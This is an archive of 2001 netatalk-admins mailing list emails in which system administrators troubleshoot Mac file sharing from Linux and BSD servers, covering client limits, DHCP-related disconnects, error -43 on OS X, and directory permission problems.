	by gnu.in-berlin.de (8.10.1/8.10.1) with ESMTP id f870Z2C22352
	for <netatalk-admins@umich.edu>; Fri, 7 Sep 2001 02:35:02 +0200 (CEST)
	(envelope-from srittau@jroger.in-berlin.de)
Received: (from uucp@localhost)
	by hirsch.in-berlin.de (8.11.1/8.11.1/Debian 8.11.0-6) with UUCP id f870Z2L15585
	for netatalk-admins@umich.edu; Fri, 7 Sep 2001 02:35:02 +0200
X-Envelope-From: srittau@jroger.in-berlin.de
X-Envelope-To: netatalk-admins@umich.edu
Received: from srittau by jroger.in-berlin.de with local (Exim 3.31 #1 (Debian))
	id 15f8zD-00071f-00
	for <netatalk-admins@umich.edu>; Fri, 07 Sep 2001 01:55:07 +0200
Date: Fri, 7 Sep 2001 01:55:07 +0200
To: netatalk-admins@umich.edu
Subject: Re: Can I use netatalk with OSX?
Message-ID: <20010907015507.A5911@jroger.in-berlin.de>
Mail-Followup-To: netatalk-admins@umich.edu
References: <Pine.LNX.4.33.0109061113400.743-100000@squirrel.bio.brandeis.edu> <20010906165723-r01010600-b6d0b0cb@194.159.148.247>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20010906165723-r01010600-b6d0b0cb@194.159.148.247>
User-Agent: Mutt/1.3.20i
From: Sebastian Rittau <srittau@jroger.in-berlin.de>

On Thu, Sep 06, 2001 at 04:57:15PM +0100, Rory Campbell-Lange wrote:

> I'm running netatalk (1.5pre6) on Debian 2.2. Sometimes my users get an
> error "an appleshare system error occured" when trying to connect to the
> server, with a log message that there are too many connections.
> 
> I have set AFPD_MAX_CLIENTS=300 in netatalk.conf. I typically have 50
> server connections.

The netatalk.conf file is not used by the Debian init script. I
removed it in newer versions of the Debian package. Please try
to set the "-c 300" option in the init script.

 - Sebastian


From netatalk.administrators-errors@umich.edu  Thu Sep  6 21:25:54 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA23000
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 6 Sep 2001 21:25:54 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id VAA12119
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 6 Sep 2001 21:25:54 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA12110
	for netatalk.administrators-members@umich.edu; Thu, 6 Sep 2001 21:25:53 -0400 (EDT)
Received: from mail.harrisonburg.k12.va.us ([204.111.40.11])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id VAA12082
	for <netatalk-admins@umich.edu>; Thu, 6 Sep 2001 21:25:52 -0400 (EDT)
Received: from [192.168.1.199] ([204.111.85.233])
	(authenticated)
	by mail.harrisonburg.k12.va.us (8.11.4/8.11.4) with ESMTP id f871PpK07650;
	Thu, 6 Sep 2001 21:25:51 -0400
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Thu, 06 Sep 2001 21:25:48 -0400
Subject: Re: Connection timeouts?
From: Rob Lineweaver <rbline@wm.edu>
To: "David J. Topper" <topper@virginia.edu>, <netatalk-admins@umich.edu>
Message-ID: <B7BD9A5C.9EE%rbline@wm.edu>
In-Reply-To: <3B980FF8.9502B663@virginia.edu>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit


> Hi folks,
> 
> Got 1.4b2+asun2.1.3 running pretty well.  I also have TCP wrappers setup
> and they seem to be working.  I'm noticing something strange though.  On
> Macs with dynamic IP, the connection seems to time out after a few
> minutes.  This does not seem to be the case on Macs with dynamic IPs.
> 
> Anyone have an idea of what might be going on?
> 


I've heard people say that macs will lose their appleshare client
connections when their DHCP lease expires and they renew it.

So, what is your DHCP lease length time?  Can you make it something like 3
weeks?

hope this helps,

Rob Lineweaver
:)


From netatalk.administrators-errors@umich.edu  Fri Sep  7 03:17:53 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id DAA06466
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 7 Sep 2001 03:17:53 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id DAA05034
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 7 Sep 2001 03:17:52 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA05022
	for netatalk.administrators-members@umich.edu; Fri, 7 Sep 2001 03:17:52 -0400 (EDT)
Received: from smtp8.xs4all.nl (smtp8.xs4all.nl [194.109.127.134])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id DAA04977
	for <netatalk-admins@umich.edu>; Fri, 7 Sep 2001 03:17:50 -0400 (EDT)
Received: from smtp.netcase.nl (213-84-213-164.adsl.xs4all.nl [213.84.213.164])
	by smtp8.xs4all.nl (8.9.3/8.9.3) with ESMTP id JAA09289;
	Fri, 7 Sep 2001 09:17:47 +0200 (CEST)
Received: from netcase.nl (neptune.netcase.nl [10.0.0.10])
	by smtp.netcase.nl (Postfix) with ESMTP
	id 3CA2D1FE09; Fri,  7 Sep 2001 09:17:46 +0200 (CEST)
Message-ID: <3B987460.D61F655@netcase.nl>
Date: Fri, 07 Sep 2001 09:16:48 +0200
From: Nicky Haan <nicky@netcase.nl>
X-Mailer: Mozilla 4.77 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Rob Lineweaver <rbline@wm.edu>
Cc: netatalk-admins@umich.edu
Subject: Re: Connection timeouts?
References: <B7BD9A5C.9EE%rbline@wm.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Yeah,

thats right, i use the same linux server as dhcp and atalk server and if i
reset the dhcp server al macs get disconnected, standard leasetime on linux is
a day and until now i never had any problems (mac ppl kinda dont work here for
more then a day without rebooting.. :) )



Rob Lineweaver wrote:

> > Hi folks,
> >
> > Got 1.4b2+asun2.1.3 running pretty well.  I also have TCP wrappers setup
> > and they seem to be working.  I'm noticing something strange though.  On
> > Macs with dynamic IP, the connection seems to time out after a few
> > minutes.  This does not seem to be the case on Macs with dynamic IPs.
> >
> > Anyone have an idea of what might be going on?
> >
>
> I've heard people say that macs will lose their appleshare client
> connections when their DHCP lease expires and they renew it.
>
> So, what is your DHCP lease length time?  Can you make it something like 3
> weeks?
>
> hope this helps,
>
> Rob Lineweaver
> :)

--
----------------------------------------
Nicky Haan
Unix/Linux Sysadmin / Systems Engineer
NetCASE Interactive Solutions
Dr. Nolenslaan 140
6136 GV Sittard
Netherlands
Tel: +31(0)46 420 1880
Fax: +31(0)46 420 1881
E-Mail: Nicky@netcase.nl
Web: www.netcase.nl
----------------------------------------



From netatalk.administrators-errors@umich.edu  Fri Sep  7 04:04:21 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA07348
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 7 Sep 2001 04:04:21 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id EAA28316
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 7 Sep 2001 04:04:21 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA28300
	for netatalk.administrators-members@umich.edu; Fri, 7 Sep 2001 04:04:20 -0400 (EDT)
Received: from smtpout.mac.com (smtpout.mac.com [204.179.120.89])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id EAA28271
	for <netatalk-admins@umich.edu>; Fri, 7 Sep 2001 04:04:19 -0400 (EDT)
Received: by smtpout.mac.com; Fri, 7 Sep 2001 01:03:41 -0700 (PDT)
Received: from asmtp02.mac.com ([10.13.10.66]) by
          smtp-relay02.mac.com (Netscape Messaging Server 4.15 relay02 Jun
          21 2001 23:53:48) with ESMTP id GJA92500.ENA for
          <netatalk-admins@umich.edu>; Fri, 7 Sep 2001 01:03:41 -0700 
Received: from [10.0.0.4] ([62.175.33.66]) by asmtp02.mac.com
          (Netscape Messaging Server 4.15 asmtp02 Jun 21 2001 23:53:48)
          with ESMTP id GJA92300.LM6; Fri, 7 Sep 2001 01:03:39 -0700 
User-Agent: Microsoft-Entourage/9.0.1.3108
Date: Fri, 07 Sep 2001 10:03:35 +0200
Subject: Re: Connection timeouts?
From: Jason Quigley <jasonq@mac.com>
To: Nicky Haan <nicky@netcase.nl>, Rob Lineweaver <rbline@wm.edu>
CC: Netatalk Admins <netatalk-admins@umich.edu>
Message-ID: <B7BE4BF7.478%jasonq@mac.com>
In-Reply-To: <3B987460.D61F655@netcase.nl>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

You might consider changing your policy about the lease time. When OS X
comes into more wide stream use, you'll find uptimes measured in weeks! I
can't wait until PS is native on X - this OS is great!

Cheers,
Jason.

On 9/7/01 9:16 AM, "Nicky Haan" <nicky@netcase.nl> wrote:

> Yeah,
> 
> thats right, i use the same linux server as dhcp and atalk server and if i
> reset the dhcp server al macs get disconnected, standard leasetime on linux is
> a day and until now i never had any problems (mac ppl kinda dont work here for
> more then a day without rebooting.. :) )
> 
> 
> 
> Rob Lineweaver wrote:
> 
>>> Hi folks,
>>> 
>>> Got 1.4b2+asun2.1.3 running pretty well.  I also have TCP wrappers setup
>>> and they seem to be working.  I'm noticing something strange though.  On
>>> Macs with dynamic IP, the connection seems to time out after a few
>>> minutes.  This does not seem to be the case on Macs with dynamic IPs.
>>> 
>>> Anyone have an idea of what might be going on?
>>> 
>> 
>> I've heard people say that macs will lose their appleshare client
>> connections when their DHCP lease expires and they renew it.
>> 
>> So, what is your DHCP lease length time?  Can you make it something like 3
>> weeks?
>> 
>> hope this helps,
>> 
>> Rob Lineweaver
>> :)
> 
> --
> ----------------------------------------
> Nicky Haan
> Unix/Linux Sysadmin / Systems Engineer
> NetCASE Interactive Solutions
> Dr. Nolenslaan 140
> 6136 GV Sittard
> Netherlands
> Tel: +31(0)46 420 1880
> Fax: +31(0)46 420 1881
> E-Mail: Nicky@netcase.nl
> Web: www.netcase.nl
> ----------------------------------------
> 
> 
> 


From netatalk.administrators-errors@umich.edu  Fri Sep  7 04:22:35 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA07911
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 7 Sep 2001 04:22:35 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id EAA13367
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 7 Sep 2001 04:22:35 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id EAA13360
	for netatalk.administrators-members@umich.edu; Fri, 7 Sep 2001 04:22:34 -0400 (EDT)
Received: from server.johnmatthews.de ([62.116.131.50])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id EAA13350
	for <netatalk-admins@umich.edu>; Fri, 7 Sep 2001 04:22:33 -0400 (EDT)
Received: from [192.168.0.110] (p3E9D087C.dip.t-dialin.net [62.157.8.124])
	by server.johnmatthews.de (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) with ESMTP id f878N8L19026
	for <netatalk-admins@umich.edu>; Fri, 7 Sep 2001 10:23:08 +0200
User-Agent: Microsoft-Entourage/9.0.2509
Date: Fri, 07 Sep 2001 10:22:31 +0200
Subject: unsubscribe
From: Markus Teich <markus.teich@jmsmultimedia.de>
To: <netatalk-admins@umich.edu>
Message-ID: <B7BE5067.7%markus.teich@jmsmultimedia.de>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit




From netatalk.administrators-errors@umich.edu  Fri Sep  7 04:45:37 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA08470
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 7 Sep 2001 04:45:37 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id EAA18861
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 7 Sep 2001 04:45:37 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id EAA18852
	for netatalk.administrators-members@umich.edu; Fri, 7 Sep 2001 04:45:37 -0400 (EDT)
Received: from orange.csi.cam.ac.uk (orange.csi.cam.ac.uk [131.111.8.77])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id EAA18848
	for <netatalk-admins@umich.edu>; Fri, 7 Sep 2001 04:45:36 -0400 (EDT)
Received: from ih207 (helo=localhost)
	by orange.csi.cam.ac.uk with local-esmtp (Exim 3.22 #1)
	id 15fHGY-0004EZ-00; Fri, 07 Sep 2001 09:45:34 +0100
Date: Fri, 7 Sep 2001 09:45:34 +0100 (BST)
From: Ian Hitchman <ih207@hermes.cam.ac.uk>
X-X-Sender:  <ih207@orange.csi.cam.ac.uk>
To: Steven Karel <karelsf@brandeis.edu>
cc: <netatalk-admins@umich.edu>
Subject: Re: Can I use netatalk with OSX?
In-Reply-To: <Pine.LNX.4.33.0109061113400.743-100000@squirrel.bio.brandeis.edu>
Message-ID: <Pine.SOL.4.33.0109070923590.26794-100000@orange.csi.cam.ac.uk>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Sorry still no joy. Any suggestions?

Ian.

System redhat 7.1 kernel 2.4.7 i686
netatalk-1.5pre7
./configure  --prefix=/usr/local/atalk \
--enable-redhat \
--with-tcp-wrappers \
--with-flock-locks \
--with-shadow \
--with-did=last
Mac OSX 10.0.4(Build 4Q12)

When trying to copy files to the OSX box I get a -43 error "one or more of
the items could not be found". I have created a symbolic link from
/etc/netatalk to /usr/local/atalk/etc/ as the system appears to want
a /etc/netatalk/netatalk dir.



On Thu, 6 Sep 2001, Steven Karel wrote:

> 1.5pre7 worked for me configuring either with
>
>  --prefix=/usr/local/atalk --enable-redhat --with-tcp-wrappers
> --with-flock-locks --with-shadow --with-did=last
>
> or
>
>  --prefix=/usr/local/atalk --enable-redhat --with-tcp-wrappers
> --with-flock-locks --with-shadow --enable-cnid-db
>
> (the latter gave fewer errors in transferring large numbers of files, but
> is "experimental").
>
> If you that doesn't help, please post more details of your server OS and
> configuration...
>
> steven
>
> On Thu, 6 Sep 2001, Ian
> Hitchman wrote:
>
> > Dear netatalk,
> >
> > Is there a version of netatalk that works with OSX. The best I can manage
> > is a 1.5-pre-7 con-fig that gives me an error "The operation cannot be
> > completed...required items could not be found. (Error code -43) on a file
> > download.
> >
> > All the best,
> >
> > Ian.
> >
> >
> >
> >
>
> --
> Steven Karel, Ph.D.
> Biology Department, Brandeis Univ, MS 008
> 415 South St Waltham MA 02454-9110
> TEL 781 736 3104   FAX 781 736 3107
>
>


From netatalk.administrators-errors@umich.edu  Fri Sep  7 08:48:55 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA16054
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 7 Sep 2001 08:48:54 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id IAA03473
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 7 Sep 2001 08:48:54 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id IAA03452
	for netatalk.administrators-members@umich.edu; Fri, 7 Sep 2001 08:48:54 -0400 (EDT)
Received: from smart.eusc.inter.net (smart.eusc.inter.net [213.73.101.5])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id IAA03414
	for <netatalk-admins@umich.edu>; Fri, 7 Sep 2001 08:48:52 -0400 (EDT)
Received: from ns12-n67-164.de.inter.net ([213.73.67.164] helo=athlet.deltaman.de)
	by smart.eusc.inter.net with esmtp (Exim 3.22 #3)
	id 15fL3z-0005M2-00
	for netatalk-admins@umich.edu; Fri, 07 Sep 2001 14:48:51 +0200
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id OAA21465
	for <netatalk-admins@umich.edu>; Fri, 7 Sep 2001 14:44:52 +0200
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu
Subject: Re: Connection timeouts?
Date: Fri, 7 Sep 2001 14:38:08 +0200
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <3B980FF8.9502B663@virginia.edu>
In-Reply-To: <3B980FF8.9502B663@virginia.edu>
MIME-Version: 1.0
Message-Id: <01090714445100.19926@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id IAA16054

On Fri, 07 Sep 2001, David J. Topper wrote:
> Hi folks,
> 
> Got 1.4b2+asun2.1.3 running pretty well.  I also have TCP wrappers setup
> and they seem to be working.  I'm noticing something strange though.  On
> Macs with dynamic IP, the connection seems to time out after a few
> minutes.  This does not seem to be the case on Macs with dynamic IPs.
> 
> Anyone have an idea of what might be going on?

This looks really weird!

Maybe you're stuck on the Heart of Gold.
That (A and not A) is true could be caused by her Infinite Improbability Drive.
You should ask Marvin!

Maybe the answer is 42?!

;-)

> 
> Thanks,
> 
> DT
> --
> Technical Director, Virginia Center for Computer Music
> http://www.people.virginia.edu/~djt7p
> (804) 924-7355

Kind regards, live long and prosper!

	Carsten

From netatalk.administrators-errors@umich.edu  Fri Sep  7 09:15:24 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA17407
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 7 Sep 2001 09:15:24 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA28213
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 7 Sep 2001 09:15:24 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA28203
	for netatalk.administrators-members@umich.edu; Fri, 7 Sep 2001 09:15:24 -0400 (EDT)
Received: from clavin2.unet.brandeis.edu (clavin2.unet.brandeis.edu [129.64.99.33])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA28183
	for <netatalk-admins@umich.edu>; Fri, 7 Sep 2001 09:15:23 -0400 (EDT)
Received: from squirrel.bio.brandeis.edu (squirrel.bio.brandeis.edu [129.64.81.16])
	by clavin2.unet.brandeis.edu (8.9.3/8.9.3/UNet2.2) with ESMTP id JAA13895;
	Fri, 7 Sep 2001 09:15:20 -0400
Date: Fri, 7 Sep 2001 09:15:20 -0400 (EDT)
From: Steven Karel <karelsf@brandeis.edu>
X-X-Sender:  <karelsf@squirrel.bio.brandeis.edu>
To: Ian Hitchman <ih207@hermes.cam.ac.uk>
cc: <netatalk-admins@umich.edu>
Subject: Re: Can I use netatalk with OSX?
In-Reply-To: <Pine.SOL.4.33.0109070923590.26794-100000@orange.csi.cam.ac.uk>
Message-ID: <Pine.LNX.4.33.0109070911550.8871-100000@squirrel.bio.brandeis.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Fri, 7 Sep 2001, Ian Hitchman wrote:

> Sorry still no joy. Any suggestions?
>
> Ian.
>
> System redhat 7.1 kernel 2.4.7 i686
> netatalk-1.5pre7
> ./configure  --prefix=/usr/local/atalk \
> --enable-redhat \
> --with-tcp-wrappers \
> --with-flock-locks \
> --with-shadow \
> --with-did=last
> Mac OSX 10.0.4(Build 4Q12)
>
> When trying to copy files to the OSX box I get a -43 error "one or more of
> the items could not be found". I have created a symbolic link from
> /etc/netatalk to /usr/local/atalk/etc/ as the system appears to want
> a /etc/netatalk/netatalk dir.
>

error -43 is the error I used to get with previous versions. That, and the
bit about /etc/netatalk, suggest to me that maybe you have old versions of
netatalk hanging about on your computer that are getting launched?

I'd do a "make clean" in the netatalk folder before reconfiguring (or even
just untar a clean copy) and also search my computer for old copy of afpd,
atalkd, and friends and expunge those.

If that doesn't help, e-mail the netatalk-devel list and/or file a bug
report at http://netatalk.sourceforge.net

steven


From netatalk.administrators-errors@umich.edu  Fri Sep  7 10:39:12 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA21326
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 7 Sep 2001 10:39:12 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id KAA01747
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 7 Sep 2001 10:39:12 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA01730
	for netatalk.administrators-members@umich.edu; Fri, 7 Sep 2001 10:39:11 -0400 (EDT)
Received: from mail.mediamatic.nl (mark.mediamatic.nl [194.109.8.128] (may be forged))
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA01705
	for <netatalk-admins@umich.edu>; Fri, 7 Sep 2001 10:39:10 -0400 (EDT)
Received: from [194.109.8.191] (HELO mediamatic.nl)
  by mail.mediamatic.nl (CommuniGate Pro SMTP 3.4.3)
  with ESMTP id 149143 for netatalk-admins@umich.edu; Fri, 07 Sep 2001 16:39:05 +0200
Sender: ralph@kidgalahad.mr.itd.umich.edu
Message-ID: <3B98DC09.2D058AE8@mediamatic.nl>
Date: Fri, 07 Sep 2001 16:39:05 +0200
From: Ralph de Rijke <ralph@mediamatic.nl>
Organization: Mediamatic IP
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.17-21mdk i686)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: TheVolumeSettingsFolder, TheFindByContentFolder
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi guys,

First, thanks to everyone who ever worked on netatalk - we couldn't live
without it here! We're using netatalk-1.4b2+asun2.1.3-6.i386 to give our
Mac designers access to Linux (Mandrake 7.2) fileservers, and it all
works like a dream. 

Could someone please enlighten me on TheVolumeSettingsFolder and
TheFindByContentFolder (which I don't want the clients to see)? For
instance...
- What are they for?
- When are they made? 
- When are they visible to Mac clients and when invisible?

Thanks,

Ralph
-- 
Ralph de Rijke, Linux System Administrator
Mediamatic IP, Prins Hendrikkade 192, Amsterdam
Postbus 17490, 1001 JL Amsterdam / www.mediamatic.nl

"The world is now too dangerous for anything less than Utopia." 
R. Buckminster Fuller

From netatalk.administrators-errors@umich.edu  Fri Sep  7 11:51:00 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA24778
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 7 Sep 2001 11:50:59 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id LAA25182
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 7 Sep 2001 11:50:59 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA25170
	for netatalk.administrators-members@umich.edu; Fri, 7 Sep 2001 11:50:59 -0400 (EDT)
Received: from keam1 (keam1.vcc.bc.ca [142.30.247.21])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id LAA25141
	for <netatalk-admins@umich.edu>; Fri, 7 Sep 2001 11:50:57 -0400 (EDT)
Received: from VCC-Message_Server by keam1
	with Novell_GroupWise; Fri, 07 Sep 2001 08:50:48 -0700
Message-Id: <sb988a68.085@keam1>
X-Mailer: Novell GroupWise Internet Agent 5.5.4.1
Date: Fri, 07 Sep 2001 08:50:24 -0700
From: "Bryn Hughes" <bhughes@vcc.bc.ca>
To: <netatalk-admins@umich.edu>
Subject: Re: Permissions problems again...
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id LAA24778

I had this problem and eventually discovered it was because I wasn't a member of the group that was being set.  Since I wasn't a member of the group, I couldn't change the ownership of the directory to belong to that group.  Once I added myself to the group, it worked fine.

Bryn

----------------------------------------------
Bryn Hughes
Macintosh/Linux Support
Information and Computing Services
Vancouver Community College

email:bhughes@vcc.bc.ca
ph: (604) 443-8702
Urgent: (604) 871-7007

>>> Jason Quigley <jasonq@mac.com> - 9/6/01 2:03 PM >>>
Hi!

Does anybody know of a workaround for this:

Sep  6 22:40:21 vulcan afpd[2828]: stickydirmode: chmod
".AppleDouble/.Parent": Operation not permitted
Sep  6 22:40:21 vulcan afpd[2828]: stickydirmode: chmod ".AppleDouble":
Operation not permitted
Sep  6 22:40:38 vulcan afpd[2828]: stickydirmode: chmod
".AppleDouble/.Parent": Operation not permitted
Sep  6 22:40:38 vulcan afpd[2828]: stickydirmode: chmod ".AppleDouble":
Operation not permitted
Sep  6 22:49:40 vulcan afpd[2828]: stickydirmode: chmod
".AppleDouble/.Parent": Operation not permitted
Sep  6 22:49:40 vulcan afpd[2828]: stickydirmode: chmod ".AppleDouble":
Operation not permitted


I am using 1.5pre6 on FreeBSD 4.2?

Whenever a new folder is created on a share, I get a message saying that the
folder could not be created because I have insufficient privileges. The
folder is created anyway but when I look at it from a terminal I see that
the setgid bit is not set. Even if I run netatalk as setuid root, this
problem occurs. 

I vaguely remember somebody mentioning a fix for this (or a workaround) a
long long time ago.

I'm at the point of writing a cron job that fixes up the permissions but
this is a nasty hack which won't fix this particular problem - it'll keep
all the permissions nice and tidy, though.

Please help my failing memory! :-)

Jason.



From netatalk.administrators-errors@umich.edu  Fri Sep  7 11:51:47 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA24842
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 7 Sep 2001 11:51:47 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id LAA13323
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 7 Sep 2001 11:51:47 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA13313
	for netatalk.administrators-members@umich.edu; Fri, 7 Sep 2001 11:51:46 -0400 (EDT)
Received: from orange.csi.cam.ac.uk (orange.csi.cam.ac.uk [131.111.8.77])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA13279
	for <netatalk-admins@umich.edu>; Fri, 7 Sep 2001 11:51:45 -0400 (EDT)
Received: from ih207 (helo=localhost)
	by orange.csi.cam.ac.uk with local-esmtp (Exim 3.22 #1)
	id 15fNum-0000p5-00; Fri, 07 Sep 2001 16:51:32 +0100
Date: Fri, 7 Sep 2001 16:51:32 +0100 (BST)
From: Ian Hitchman <ih207@hermes.cam.ac.uk>
X-X-Sender:  <ih207@orange.csi.cam.ac.uk>
To: Steven Karel <karelsf@brandeis.edu>
cc: <netatalk-admins@umich.edu>
Subject: Re: Can I use netatalk with OSX?
In-Reply-To: <Pine.LNX.4.33.0109070911550.8871-100000@squirrel.bio.brandeis.edu>
Message-ID: <Pine.SOL.4.33.0109071647000.26794-100000@orange.csi.cam.ac.uk>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Thanks for all the help. I deleted my old copy which is as good as make
clean and it works.

Big Thanks,

Ian



On Fri, 7 Sep 2001, Steven Karel wrote:

> On Fri, 7 Sep 2001, Ian Hitchman wrote:
>
> > Sorry still no joy. Any suggestions?
